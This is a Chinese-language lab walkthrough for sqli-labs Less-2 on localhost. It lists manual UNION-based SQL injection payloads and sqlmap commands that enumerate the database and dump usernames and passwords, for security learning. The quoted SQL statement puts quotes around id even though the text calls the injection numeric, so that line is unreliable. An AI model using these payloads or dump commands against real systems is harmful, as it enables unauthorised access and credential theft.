1. 思路🚀
本關的SQL語句為:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入類型:數值型
- 提示:參數
id
無需考慮閉合問題,相對簡單
2. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-2/
,只需要將下面的sql語句粘貼即可。
2.1. 正常請求?
?id=1
說明:測試回顯情況
2.2. 判斷字段數?
?id=1 order by 4
order by 4
:探測字段數(報錯說明字段數=3)
本關卡在sql語句后是不需要加--+
注釋符,是否加--+
注釋符詳細如下:
2.2.1. 必須使用--+
的情況
場景特征 | 示例 | 必要性分析 |
---|---|---|
URL參數注入 | ?id=1'--+ | URL中的空格會被編碼,+ 確保注釋生效 |
閉合單引號 | admin'--+ | 避免后續SQL語法錯誤 |
過濾空格環境 | 1'/**/OR/**/1=1--+ | WAF可能過濾空格但允許+ |
2.2.2. 可不使用的情況
場景特征 | 示例 | 原因分析 |
---|---|---|
數字型注入 | ?id=1 OR 1=1 | 無需閉合引號 |
報錯注入 | ?id=1 AND updatexml(1,concat(0x7e,(SELECT@@version)),1) | 語句自包含無需截斷 |
POST表單注入 | username=admin'-- | 表單數據不涉及URL編碼 |
2.3. 確定回顯位?
?id=-1 union select 1,2,3
-1
:使前查詢無結果union select
:聯合查詢回顯位
2.4. 獲取基礎信息?
?id=-1 union select 1,database(),user()
2.5. 獲取表名?
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'
2.6. 獲取字段?
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'
2.7. 獲取數據?
?id=-1 union select 1,group_concat(username),group_concat(password) from users
2.8. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
order by | 判斷字段數 | order by 4 |
union select | 聯合查詢 | union select 1,2,3 |
group_concat() | 合并結果 | group_concat(table_name) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. SQLMap工具測試🎯
url
地址換成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-2/?id=1
# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-2/?id=1" --batch# 爆數據庫
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截圖:
命令5截圖:
SQLMap參數表?
參數 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚舉數據庫 |
-D | 指定數據庫 |
-T | 指定表 |
-C | 指定列 |
--dump | 導出數據 |
4. 總結🏁
如有不懂,關卡1的解析更為詳細,相信你會有收獲,sqli-labs:Less-1關卡詳細解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209
- 注入類型:數值型
- 核心步驟:判字段→找回顯→爆庫→爆表→爆數據
- 工具對比:手工注入適合學習原理,SQLMap適合快速驗證
聲明:本文僅用于安全學習,嚴禁非法測試! ???